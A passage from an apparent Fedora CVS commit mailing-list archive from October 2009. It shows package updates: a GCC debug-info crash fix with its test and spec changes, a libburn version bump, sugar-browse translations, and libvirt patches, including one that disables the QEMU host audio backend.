	(remove_referenced_var): Clear renaming mark.
	* tree-flow.h (referenced_var_p): Declare.
	(sym_marked_for_renaming, clear_mark_for_renaming): Declare.
	* tree-into-ssa.c (clear_mark_for_renaming): New.
	(sym_marked_for_renaming): New.
	* tree-ssa-operands.c (pop_stmt_changes): Reset debug stmts
	that reference otherwise-unreferenced variables.

	* gcc.dg/debug/vta-1.c: New.

--- gcc/tree-dfa.c.orig	2009-09-30 04:00:45.000000000 -0300
+++ gcc/tree-dfa.c	2009-09-30 04:01:21.000000000 -0300
@@ -639,6 +639,23 @@ set_default_def (tree var, tree def)
    SSA_NAME_IS_DEFAULT_DEF (def) = true;
 }
 
+/* Return TRUE if VAR is in the set of referenced variables.  */
+
+bool
+referenced_var_p (tree var)
+{
+  struct tree_decl_minimal in;
+
+  gcc_assert (DECL_P (var));
+
+  if (!gimple_referenced_vars (cfun))
+    return false;
+
+  in.uid = DECL_UID (var);
+  return htab_find_with_hash (gimple_referenced_vars (cfun), &in, in.uid)
+    != NULL;
+}
+
 /* Add VAR to the list of referenced variables if it isn't already there.  */
 
 bool
@@ -686,6 +703,15 @@ remove_referenced_var (tree var)
   void **loc;
   unsigned int uid = DECL_UID (var);
 
+  /* Symbols that decayed from addressable to gimple registers, but
+     that are referenced only in debug stmts, may be marked for
+     renaming, but renaming them would fail once they're no longer
+     referenced.  Let them rest in peace.  */
+  if (TREE_CODE (var) != SSA_NAME
+      && is_gimple_reg (var)
+      && sym_marked_for_renaming (var))
+    clear_mark_for_renaming (var);
+
   clear_call_clobbered (var);
   bitmap_clear_bit (gimple_call_used_vars (cfun), uid);
   if ((v_ann = var_ann (var)))
--- gcc/tree-flow.h.orig	2009-09-30 04:00:46.000000000 -0300
+++ gcc/tree-flow.h	2009-09-30 04:01:21.000000000 -0300
@@ -773,6 +773,7 @@ extern void dump_referenced_vars (FILE *
 extern void dump_variable (FILE *, tree);
 extern void debug_variable (tree);
 extern tree get_virtual_var (tree);
+extern bool referenced_var_p (tree);
 extern bool add_referenced_var (tree);
 extern void remove_referenced_var (tree);
 extern void mark_symbols_for_renaming (gimple);
@@ -889,7 +890,9 @@ bool name_registered_for_update_p (tree)
 bitmap ssa_names_to_replace (void);
 void release_ssa_name_after_update_ssa (tree);
 void compute_global_livein (bitmap, bitmap);
+bool sym_marked_for_renaming (tree);
 void mark_sym_for_renaming (tree);
+void clear_mark_for_renaming (tree);
 void mark_set_for_renaming (bitmap);
 tree get_current_def (tree);
 void set_current_def (tree, tree);
--- gcc/tree-into-ssa.c.orig	2009-09-30 04:00:45.000000000 -0300
+++ gcc/tree-into-ssa.c	2009-09-30 04:01:21.000000000 -0300
@@ -2874,6 +2874,37 @@ mark_sym_for_renaming (tree sym)
     }
 }
 
+/* Unregister symbol SYM to be renamed by update_ssa.  SYM must be a
+   gimple register.  */
+
+void
+clear_mark_for_renaming (tree sym)
+{
+  if (need_to_initialize_update_ssa_p)
+    return;
+
+  gcc_assert (is_gimple_reg (sym));
+
+  bitmap_clear_bit (syms_to_rename, DECL_UID (sym));
+
+  if (bitmap_empty_p (syms_to_rename))
+    BITMAP_FREE (syms_to_rename);
+}
+
+/* Return true if a symbol is marked for renaming.  This is an
+   exported interface for symbol_marked_for_renaming.  */
+
+bool
+sym_marked_for_renaming (tree sym)
+{
+  if (need_to_initialize_update_ssa_p)
+    return false;
+
+  if (!syms_to_rename)
+    return false;
+
+  return symbol_marked_for_renaming (sym);
+}
 
 /* Register all the symbols in SET to be renamed by update_ssa.  */
 
--- gcc/tree-ssa-operands.c.orig	2009-09-30 04:00:45.000000000 -0300
+++ gcc/tree-ssa-operands.c	2009-09-30 04:01:21.000000000 -0300
@@ -2716,9 +2716,22 @@ pop_stmt_changes (gimple *stmt_p)
   mark_difference_for_renaming (stores, buf->stores);
 
   /* Mark all the naked GIMPLE register operands for renaming.  */
-  FOR_EACH_SSA_TREE_OPERAND (op, stmt, iter, SSA_OP_DEF|SSA_OP_USE)
-    if (DECL_P (op))
-      mark_sym_for_renaming (op);
+  if (gimple_debug_bind_p (stmt))
+    {
+      FOR_EACH_SSA_TREE_OPERAND (op, stmt, iter, SSA_OP_DEF|SSA_OP_USE)
+	if (DECL_P (op) && !referenced_var_p (op))
+	  {
+	    gimple_debug_bind_reset_value (stmt);
+	    update_stmt (stmt);
+	    break;
+	  }
+    }
+  else
+    {
+      FOR_EACH_SSA_TREE_OPERAND (op, stmt, iter, SSA_OP_DEF|SSA_OP_USE)
+	if (DECL_P (op))
+	  mark_sym_for_renaming (op);
+    }
 
   /* FIXME, need to add more finalizers here.  Cleanup EH info,
      recompute invariants for address expressions, add
--- gcc/testsuite/gcc.dg/debug/vta-1.c	1970-01-01 00:00:00.000000000 +0000
+++ gcc/testsuite/gcc.dg/debug/vta-1.c	2009-09-30 04:01:21.000000000 -0300
@@ -0,0 +1,35 @@
+/* https://bugzilla.redhat.com/show_bug.cgi?id=521991#c5
+
+   Distilled from Linux XFS source code.  foo, inlined into bar, ends
+   up with debug stmts referencing the addressable variable b.
+   Optimization made it non-addressable, and then completely optimized
+   away, before we got a chance to rename (and discard) the occurrence
+   in the debug stmt.  When we did, we crashed, attempting to rename
+   an unreference variable.  */
+
+/* { dg-do compile } */
+/* { dg-options "-O2 -g" } */
+
+static inline int
+foo (void *x, unsigned y)
+{
+  unsigned z = *(unsigned long *) x % y;
+  *(unsigned long *) x = *(unsigned long *) x / y;
+  return z;
+}
+
+struct S
+{
+  unsigned t;
+};
+
+void
+bar (struct S *x, int *y)
+{
+  int a = 0;
+  unsigned long b = x->t;
+  foo (&b, x->t);
+  for (;; a++)
+    if (b)
+      *y = 1;
+}


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/.cvsignore,v
retrieving revision 1.295
retrieving revision 1.296
diff -u -p -r1.295 -r1.296
--- .cvsignore	25 Sep 2009 15:02:34 -0000	1.295
+++ .cvsignore	1 Oct 2009 08:19:32 -0000	1.296
@@ -1,2 +1,2 @@
 fastjar-0.97.tar.gz
-gcc-4.4.1-20090925.tar.bz2
+gcc-4.4.1-20091001.tar.bz2


Index: gcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/gcc.spec,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- gcc.spec	25 Sep 2009 15:02:34 -0000	1.74
+++ gcc.spec	1 Oct 2009 08:19:32 -0000	1.75
@@ -1,9 +1,9 @@
-%global DATE 20090925
-%global SVNREV 152158
+%global DATE 20091001
+%global SVNREV 152364
 %global gcc_version 4.4.1
 # Note, gcc_release must be integer, if you want to add suffixes to
 # %{release}, append them after %{gcc_release} on Release: line.
-%global gcc_release 17
+%global gcc_release 18
 %global _unpackaged_files_terminate_build 0
 %global multilib_64_archs sparc64 ppc64 s390x x86_64
 %global include_gappletviewer 1
@@ -40,7 +40,7 @@
 Summary: Various compilers (C, C++, Objective-C, Java, ...)
 Name: gcc
 Version: %{gcc_version}
-Release: %{gcc_release}
+Release: %{gcc_release}%{?dist}
 # libgcc, libgfortran, libmudflap, libgomp, libstdc++ and crtstuff have
 # GCC Runtime Exception.
 License: GPLv3+ and GPLv3+ with exceptions and GPLv2+ with exceptions
@@ -160,6 +160,7 @@ Patch16: gcc44-unwind-debug-hook.patch
 Patch17: gcc44-pr38757.patch
 Patch18: gcc44-libstdc++-docs.patch
 Patch19: gcc44-ppc64-aixdesc.patch
+Patch20: gcc44-vta-rh521991.patch
 
 Patch1000: fastjar-0.97-segfault.patch
 
@@ -466,6 +467,7 @@ which are required to compile with the G
 %patch18 -p0 -b .libstdc++-docs~
 %endif
 %patch19 -p0 -b .ppc64-aixdesc~
+%patch20 -p0 -b .vta-rh521991~
 
 # This testcase doesn't compile.
 rm libjava/testsuite/libjava.lang/PR35020*
@@ -1185,55 +1187,65 @@ rm -rf testlogs-%{_target_platform}-%{ve
 rm -rf %{buildroot}
 
 %post
-/sbin/install-info \
-  --info-dir=%{_infodir} %{_infodir}/gcc.info.gz || :
+if [ -f %{_infodir}/gcc.info.gz ]; then
+  /sbin/install-info \
+    --info-dir=%{_infodir} %{_infodir}/gcc.info.gz || :
+fi
 
 %preun
-if [ $1 = 0 ]; then
+if [ $1 = 0 -a -f %{_infodir}/gcc.info.gz ]; then
   /sbin/install-info --delete \
     --info-dir=%{_infodir} %{_infodir}/gcc.info.gz || :
 fi
 
 %post -n cpp
-/sbin/install-info \
-  --info-dir=%{_infodir} %{_infodir}/cpp.info.gz || :
+if [ -f %{_infodir}/cpp.info.gz ]; then
+  /sbin/install-info \
+    --info-dir=%{_infodir} %{_infodir}/cpp.info.gz || :
+fi
 
 %preun -n cpp
-if [ $1 = 0 ]; then
+if [ $1 = 0 -a -f %{_infodir}/cpp.info.gz ]; then
   /sbin/install-info --delete \
     --info-dir=%{_infodir} %{_infodir}/cpp.info.gz || :
 fi
 
 %post gfortran
-/sbin/install-info \
-  --info-dir=%{_infodir} %{_infodir}/gfortran.info.gz || :
+if [ -f %{_infodir}/gfortran.info.gz ]; then
+  /sbin/install-info \
+    --info-dir=%{_infodir} %{_infodir}/gfortran.info.gz || :
+fi
 
 %preun gfortran
-if [ $1 = 0 ]; then
+if [ $1 = 0 -a -f %{_infodir}/gfortran.info.gz ]; then
   /sbin/install-info --delete \
     --info-dir=%{_infodir} %{_infodir}/gfortran.info.gz || :
 fi
 
 %post java
+if [ -f %{_infodir}/gcj.info.gz ]; then
 /sbin/install-info \
   --info-dir=%{_infodir} %{_infodir}/gcj.info.gz || :
+fi
 
 %preun java
-if [ $1 = 0 ]; then
+if [ $1 = 0 -a -f %{_infodir}/gcj.info.gz ]; then
   /sbin/install-info --delete \
     --info-dir=%{_infodir} %{_infodir}/gcj.info.gz || :
 fi
 
 %post gnat
-/sbin/install-info \
-  --info-dir=%{_infodir} %{_infodir}/gnat_rm.info.gz || :
-/sbin/install-info \
-  --info-dir=%{_infodir} %{_infodir}/gnat_ugn.info.gz || :
-/sbin/install-info \
-  --info-dir=%{_infodir} %{_infodir}/gnat-style.info.gz || :
+if [ -f %{_infodir}/gnat_rm.info.gz ]; then
+  /sbin/install-info \
+    --info-dir=%{_infodir} %{_infodir}/gnat_rm.info.gz || :
+  /sbin/install-info \
+    --info-dir=%{_infodir} %{_infodir}/gnat_ugn.info.gz || :
+  /sbin/install-info \
+    --info-dir=%{_infodir} %{_infodir}/gnat-style.info.gz || :
+fi
 
 %preun gnat
-if [ $1 = 0 ]; then
+if [ $1 = 0 -a -f %{_infodir}/gnat_rm.info.gz ]; then
   /sbin/install-info --delete \
     --info-dir=%{_infodir} %{_infodir}/gnat_rm.info.gz || :
   /sbin/install-info --delete \
@@ -1257,13 +1269,15 @@ fi
 
 %post -n libgcj
 /sbin/ldconfig
-/sbin/install-info \
-  --info-dir=%{_infodir} %{_infodir}/cp-tools.info.gz || :
-/sbin/install-info \
-  --info-dir=%{_infodir} %{_infodir}/fastjar.info.gz || :
+if [ -f %{_infodir}/cp-tools.info.gz ]; then
+  /sbin/install-info \
+    --info-dir=%{_infodir} %{_infodir}/cp-tools.info.gz || :
+  /sbin/install-info \
+    --info-dir=%{_infodir} %{_infodir}/fastjar.info.gz || :
+fi
 
 %preun -n libgcj
-if [ $1 = 0 ]; then
+if [ $1 = 0 -a -f %{_infodir}/cp-tools.info.gz ]; then
   /sbin/install-info --delete \
     --info-dir=%{_infodir} %{_infodir}/cp-tools.info.gz || :
   /sbin/install-info --delete \
@@ -1282,11 +1296,13 @@ fi
 
 %post -n libgomp
 /sbin/ldconfig
-/sbin/install-info \
-  --info-dir=%{_infodir} %{_infodir}/libgomp.info.gz || :
+if [ -f %{_infodir}/libgomp.info.gz ]; then
+  /sbin/install-info \
+    --info-dir=%{_infodir} %{_infodir}/libgomp.info.gz || :
+fi
 
 %preun -n libgomp
-if [ $1 = 0 ]; then
+if [ $1 = 0 -a -f %{_infodir}/libgomp.info.gz ]; then
   /sbin/install-info --delete \
     --info-dir=%{_infodir} %{_infodir}/libgomp.info.gz || :
 fi
@@ -1354,7 +1370,7 @@ fi
 %{_prefix}/lib/gcc/%{gcc_target_platform}/%{gcc_version}/include/immintrin.h
 %{_prefix}/lib/gcc/%{gcc_target_platform}/%{gcc_version}/include/avxintrin.h
 %{_prefix}/lib/gcc/%{gcc_target_platform}/%{gcc_version}/include/x86intrin.h
-%{_prefix}/lib/gcc/%{gcc_target_platform}/%{gcc_version}/include/mmintrin-common.h
+%{_prefix}/lib/gcc/%{gcc_target_platform}/%{gcc_version}/include/fma4intrin.h
 %{_prefix}/lib/gcc/%{gcc_target_platform}/%{gcc_version}/include/mm_malloc.h
 %{_prefix}/lib/gcc/%{gcc_target_platform}/%{gcc_version}/include/mm3dnow.h
 %{_prefix}/lib/gcc/%{gcc_target_platform}/%{gcc_version}/include/cpuid.h
@@ -1821,6 +1837,16 @@ fi
 %doc rpm.doc/changelogs/libmudflap/ChangeLog*
 
 %changelog
+* Thu Oct  1 2009 Jakub Jelinek <jakub at redhat.com> 4.4.1-18
+- update from gcc-4_4-branch
+  - PRs ada/41100, target/22093
+- VTA backports
+  - PRs debug/41438, debug/41474, target/41279, testsuite/41444
+- fix VTA ICE on Linux kernel (#521991)
+- AMD Orochi -mfma4 support
+- don't run install-info if info files are missing because of --excludedocs
+  (#515921, #515960, #515962, #515965, #516000, #516008, #516014)
+
 * Fri Sep 25 2009 Jakub Jelinek <jakub at redhat.com> 4.4.1-17
 - update from gcc-4_4-branch
   - fix vectorizer for power7 (#463846)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/sources,v
retrieving revision 1.299
retrieving revision 1.300
diff -u -p -r1.299 -r1.300
--- sources	25 Sep 2009 15:02:34 -0000	1.299
+++ sources	1 Oct 2009 08:19:33 -0000	1.300
@@ -1,2 +1,2 @@
 2659f09c2e43ef8b7d4406321753f1b2  fastjar-0.97.tar.gz
-fe01be0d467f7de14e7e8e169e52cf72  gcc-4.4.1-20090925.tar.bz2
+18fe22db9e055b13b9cc290f6cbbf1fa  gcc-4.4.1-20091001.tar.bz2



From denis at fedoraproject.org  Thu Oct  1 08:29:54 2009
From: denis at fedoraproject.org (Denis Leroy)
Date: Thu,  1 Oct 2009 08:29:54 +0000 (UTC)
Subject: rpms/libburn/F-10 .cvsignore, 1.8, 1.9 libburn.spec, 1.14,
	1.15 sources, 1.9, 1.10
Message-ID: <20091001082954.BAEA011C00C1@cvs1.fedora.phx.redhat.com>

Author: denis

Update of /cvs/pkgs/rpms/libburn/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9618

Modified Files:
	.cvsignore libburn.spec sources 
Log Message:
- Update to upstream 0.7.0
- Fixed binary installation
- Removed rpath
- Fixed URL



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libburn/F-10/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	7 Jan 2009 14:39:17 -0000	1.8
+++ .cvsignore	1 Oct 2009 08:29:53 -0000	1.9
@@ -1 +1 @@
-libburn-0.6.0.pl00.tar.gz
+libburn-0.7.0.pl00.tar.gz


Index: libburn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libburn/F-10/libburn.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- libburn.spec	7 Jan 2009 14:39:17 -0000	1.14
+++ libburn.spec	1 Oct 2009 08:29:54 -0000	1.15
@@ -1,12 +1,14 @@
+%define tbpostfix pl00
+
 Name:           libburn
-Version:        0.6.0
+Version:        0.7.0
 Release:        1%{?dist}
 Summary:        Library for reading, mastering and writing optical discs
 
 Group:          System Environment/Libraries
 License:        GPLv2
-URL:            http://libburn.pykix.org/
-Source0:        http://files.libburnia-project.org/releases/%{name}-%{version}.pl00.tar.gz
+URL:            http://libburnia-project.org/
+Source0:        http://files.libburnia-project.org/releases/%{name}-%{version}.%{tbpostfix}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:   libtool intltool gettext doxygen graphviz
@@ -49,6 +51,8 @@ features from the command line.
 
 %build
 %configure --disable-static
+sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
+sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
 make %{?_smp_mflags}
 doxygen doc/doxygen.conf
 
@@ -56,10 +60,6 @@ doxygen doc/doxygen.conf
 %install
 rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT
-install -d $RPM_BUILD_ROOT%{_bindir}
-install -m 0755 cdrskin/cdrskin $RPM_BUILD_ROOT%{_bindir}/cdrskin
-install -d $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}/html
-install -m 0644 doc/html/* $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}/html/
 find $RPM_BUILD_ROOT -name '*.la' -exec rm -f {} ';'
 
 
@@ -69,6 +69,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %post -p /sbin/ldconfig
 
+
 %postun -p /sbin/ldconfig
 
 
@@ -77,21 +78,26 @@ rm -rf $RPM_BUILD_ROOT
 %doc AUTHORS COPYING COPYRIGHT README
 %{_libdir}/%{name}*.so.*
 
+
 %files devel
 %defattr(-,root,root,-)
-%doc doc/html
 %{_includedir}/%{name}
 %{_libdir}/%{name}*.so
 %{_libdir}/pkgconfig/%{name}*.pc
+%doc doc/html
 
 %files -n cdrskin
 %defattr(-,root,root,-)
-%doc
 %{_mandir}/*/*
 %{_bindir}/cdrskin
 
 
 %changelog
+* Thu Oct  1 2009 Denis Leroy <denis at poolshark.org> - 0.7.0-1
+- Update to upstream 0.7.0
+- Fixed binary installation
+- Removed rpath
+
 * Wed Jan 07 2009 Adel Gadllah <adel.gadllah at gmail.com> - 0.6.0-1
 - New upstream version
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libburn/F-10/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	7 Jan 2009 14:39:17 -0000	1.9
+++ sources	1 Oct 2009 08:29:54 -0000	1.10
@@ -1 +1 @@
-3c8ec5a3e129099fb31f91b2c081fa5a  libburn-0.6.0.pl00.tar.gz
+57ac20c1b951be17f8100f6106d471c6  libburn-0.7.0.pl00.tar.gz



From erikos at fedoraproject.org  Thu Oct  1 08:32:04 2009
From: erikos at fedoraproject.org (Simon Schampijer)
Date: Thu,  1 Oct 2009 08:32:04 +0000 (UTC)
Subject: rpms/sugar-browse/F-12 .cvsignore, 1.10, 1.11 sources, 1.11,
	1.12 sugar-browse.spec, 1.21, 1.22
Message-ID: <20091001083204.5A81811C00C1@cvs1.fedora.phx.redhat.com>

Author: erikos

Update of /cvs/pkgs/rpms/sugar-browse/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10747

Modified Files:
	.cvsignore sources sugar-browse.spec 
Log Message:
* Thu Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 114-1
- Updated translations




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-browse/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	1 Oct 2009 08:18:37 -0000	1.10
+++ .cvsignore	1 Oct 2009 08:32:04 -0000	1.11
@@ -1 +1 @@
-Browse-113.tar.bz2
+Browse-114.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-browse/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	1 Oct 2009 08:18:38 -0000	1.11
+++ sources	1 Oct 2009 08:32:04 -0000	1.12
@@ -1 +1 @@
-590268217c378c4162bfe05584ac8f5d  Browse-113.tar.bz2
+ba5b2cb863416d2659f5729a45d4f28e  Browse-114.tar.bz2


Index: sugar-browse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-browse/F-12/sugar-browse.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sugar-browse.spec	1 Oct 2009 08:18:38 -0000	1.21
+++ sugar-browse.spec	1 Oct 2009 08:32:04 -0000	1.22
@@ -1,5 +1,5 @@
 Name: sugar-browse
-Version: 113
+Version: 114
 Release: 1%{?dist}
 Summary: Browse activity for Sugar
 Group: Sugar/Activities
@@ -43,6 +43,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 114-1
+- Updated translations
+
 * Thu Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 113-1
 - Better naming when uploading an entry #901 (Aleksey)
 - Listen for mouseout event to popdown palette #1314



From markmc at fedoraproject.org  Thu Oct  1 08:35:21 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Thu,  1 Oct 2009 08:35:21 +0000 (UTC)
Subject: rpms/libvirt/devel libvirt-disable-audio-backend.patch, NONE,
	1.1 libvirt-fix-drv-supports-feature-bogus-error.patch, 1.1,
	1.2 libvirt-fix-net-hotunplug-double-free.patch, 1.3,
	1.4 libvirt-fix-pci-hostdev-hotunplug-leak.patch, 1.3,
	1.4 libvirt-fix-qemu-raw-format-save.patch, 1.1,
	1.2 libvirt-fix-usb-device-passthrough.patch, 1.1,
	1.2 libvirt.spec, 1.184, 1.185 libvirt-0.6.4-svirt-sound.patch,
	1.6, NONE
Message-ID: <20091001083521.477B411C00C1@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11935

Modified Files:
	libvirt-fix-drv-supports-feature-bogus-error.patch 
	libvirt-fix-net-hotunplug-double-free.patch 
	libvirt-fix-pci-hostdev-hotunplug-leak.patch 
	libvirt-fix-qemu-raw-format-save.patch 
	libvirt-fix-usb-device-passthrough.patch libvirt.spec 
Added Files:
	libvirt-disable-audio-backend.patch 
Removed Files:
	libvirt-0.6.4-svirt-sound.patch 
Log Message:
* Thu Oct  1 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-8
- Disable sound backend, even when selinux is disabled (#524499)


libvirt-disable-audio-backend.patch:
 qemud/libvirtd.sysconf |    8 ++++++++
 src/qemu_conf.c        |   15 ++++++++++++++-
 2 files changed, 22 insertions(+), 1 deletion(-)

--- NEW FILE libvirt-disable-audio-backend.patch ---
>From 4721ceb9b85daabe53804627473b06ced821c695 Mon Sep 17 00:00:00 2001
From: Daniel P. Berrange <berrange at redhat.com>
Date: Mon, 14 Sep 2009 11:23:20 +0100
Subject: [PATCH] Allow control over QEMU audio backend

When using VNC for graphics + keyboard + mouse, we shouldn't
then use the host OS for audio. Audio should go back over
VNC.

When using SDL for graphics, we should use the host OS for
audio since that's where the display is. We need to allow
certain QEMU env variables to be passed through to guest
too to allow choice of QEMU audio backend.

* qemud/libvirtd.sysconf: Mention QEMU/SDL audio env vars
* src/qemu_conf.c: Passthrough QEMU/SDL audio env for SDL display,
  disable host audio for VNC display

(cherry picked from commit b08e6d38ae7a0ed70300d7d82107f83fddb60f44)

Fedora-patch: libvirt-disable-audio-backend.patch
---
 qemud/libvirtd.sysconf |    8 ++++++++
 src/qemu_conf.c        |   14 ++++++++++++++
 2 files changed, 22 insertions(+), 0 deletions(-)

diff --git a/qemud/libvirtd.sysconf b/qemud/libvirtd.sysconf
index fe4596a..28080a0 100644
--- a/qemud/libvirtd.sysconf
+++ b/qemud/libvirtd.sysconf
@@ -7,3 +7,11 @@
 
 # Override Kerberos service keytab for SASL/GSSAPI
 #KRB5_KTNAME=/etc/libvirt/krb5.tab
+
+# Override the QEMU/SDL default audio driver probing when
+# starting virtual machines using SDL graphics
+#
+# NB these have no effect for VMs using VNC
+#QEMU_AUDIO_DRV=sdl
+#
+#SDL_AUDIODRIVER=pulse
diff --git a/src/qemu_conf.c b/src/qemu_conf.c
index f92bcef..0dd0624 100644
--- a/src/qemu_conf.c
+++ b/src/qemu_conf.c
@@ -2109,6 +2109,13 @@ int qemudBuildCommandLine(virConnectPtr conn,
             ADD_ARG_LIT("-k");
             ADD_ARG_LIT(def->graphics[0]->data.vnc.keymap);
         }
+
+        /* QEMU implements a VNC extension for providing audio, so we
+         * set the audio backend to none, to prevent it opening the
+         * host OS audio devices since that causes security issues
+         * and is non-sensical when using VNC.
+         */
+        ADD_ENV_LIT("QEMU_AUDIO_DRV=none");
     } else if ((def->ngraphics == 1) &&
                def->graphics[0]->type == VIR_DOMAIN_GRAPHICS_TYPE_SDL) {
         char *xauth = NULL;
@@ -2131,6 +2138,13 @@ int qemudBuildCommandLine(virConnectPtr conn,
             ADD_ENV(display);
         if (def->graphics[0]->data.sdl.fullscreen)
             ADD_ARG_LIT("-full-screen");
+
+        /* If using SDL for video, then we should just let it
+         * use QEMU's host audio drivers, possibly SDL too
+         * User can set these two before starting libvirtd
+         */
+        ADD_ENV_COPY("QEMU_AUDIO_DRV");
+        ADD_ENV_COPY("SDL_AUDIODRIVER");
     }
 
     if (def->nvideos) {
-- 
1.6.2.5


libvirt-fix-drv-supports-feature-bogus-error.patch:
 libvirt.c |    8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

Index: libvirt-fix-drv-supports-feature-bogus-error.patch
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/devel/libvirt-fix-drv-supports-feature-bogus-error.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- libvirt-fix-drv-supports-feature-bogus-error.patch	21 Sep 2009 15:32:34 -0000	1.1
+++ libvirt-fix-drv-supports-feature-bogus-error.patch	1 Oct 2009 08:35:17 -0000	1.2
@@ -1,4 +1,4 @@
-From 2f6e857ac7d6ed5cd417e684147dd9c98775ab3d Mon Sep 17 00:00:00 2001
+From 7692e1e19487c28454b1e5f6488d5574c70883f2 Mon Sep 17 00:00:00 2001
 From: Chris Lalancette <clalance at redhat.com>
 Date: Mon, 21 Sep 2009 14:53:31 +0200
 Subject: [PATCH] Don't do virSetConnError when virDrvSupportsFeature is successful.

libvirt-fix-net-hotunplug-double-free.patch:
 qemu_driver.c |    5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

Index: libvirt-fix-net-hotunplug-double-free.patch
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/devel/libvirt-fix-net-hotunplug-double-free.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- libvirt-fix-net-hotunplug-double-free.patch	21 Sep 2009 15:32:34 -0000	1.3
+++ libvirt-fix-net-hotunplug-double-free.patch	1 Oct 2009 08:35:17 -0000	1.4
@@ -1,4 +1,4 @@
-From d09ff3c35c29d14760d5ea03559042cc024e09ab Mon Sep 17 00:00:00 2001
+From ba585ed6cff624c6c0f1f9801382fd6846466ee0 Mon Sep 17 00:00:00 2001
 From: Mark McLoughlin <markmc at redhat.com>
 Date: Thu, 17 Sep 2009 15:31:08 +0100
 Subject: [PATCH] Fix net/disk hot-unplug segfault

libvirt-fix-pci-hostdev-hotunplug-leak.patch:
 qemu_driver.c |   21 +++++++++++++--------
 1 file changed, 13 insertions(+), 8 deletions(-)

Index: libvirt-fix-pci-hostdev-hotunplug-leak.patch
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/devel/libvirt-fix-pci-hostdev-hotunplug-leak.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- libvirt-fix-pci-hostdev-hotunplug-leak.patch	21 Sep 2009 15:32:34 -0000	1.3
+++ libvirt-fix-pci-hostdev-hotunplug-leak.patch	1 Oct 2009 08:35:17 -0000	1.4
@@ -1,4 +1,4 @@
-From d04ac8624f5fabe7587982796f2e2161220b0fcc Mon Sep 17 00:00:00 2001
+From 17831d20051f8de8f1f7d661e8a23f4fe67c2153 Mon Sep 17 00:00:00 2001
 From: Mark McLoughlin <markmc at redhat.com>
 Date: Thu, 17 Sep 2009 15:32:45 +0100
 Subject: [PATCH] Fix leak in PCI hostdev hot-unplug

libvirt-fix-qemu-raw-format-save.patch:
 qemu_driver.c |   29 ++++++++++++++++++-----------
 1 file changed, 18 insertions(+), 11 deletions(-)

Index: libvirt-fix-qemu-raw-format-save.patch
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/devel/libvirt-fix-qemu-raw-format-save.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- libvirt-fix-qemu-raw-format-save.patch	21 Sep 2009 15:32:34 -0000	1.1
+++ libvirt-fix-qemu-raw-format-save.patch	1 Oct 2009 08:35:17 -0000	1.2
@@ -1,4 +1,4 @@
-From e50c91fdcea5d81e3eb2051c05f4e51a16c3e692 Mon Sep 17 00:00:00 2001
+From f1be5a4714e194a84840343e0937fe62463a18dc Mon Sep 17 00:00:00 2001
 From: Charles Duffy <Charles_Duffy at dell.com>
 Date: Fri, 18 Sep 2009 11:32:35 -0500
 Subject: [PATCH] Prevent attempt to call cat -c during virDomainSave to raw

libvirt-fix-usb-device-passthrough.patch:
 security_selinux.c |    4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

Index: libvirt-fix-usb-device-passthrough.patch
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/devel/libvirt-fix-usb-device-passthrough.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- libvirt-fix-usb-device-passthrough.patch	30 Sep 2009 17:58:52 -0000	1.1
+++ libvirt-fix-usb-device-passthrough.patch	1 Oct 2009 08:35:18 -0000	1.2
@@ -1,4 +1,4 @@
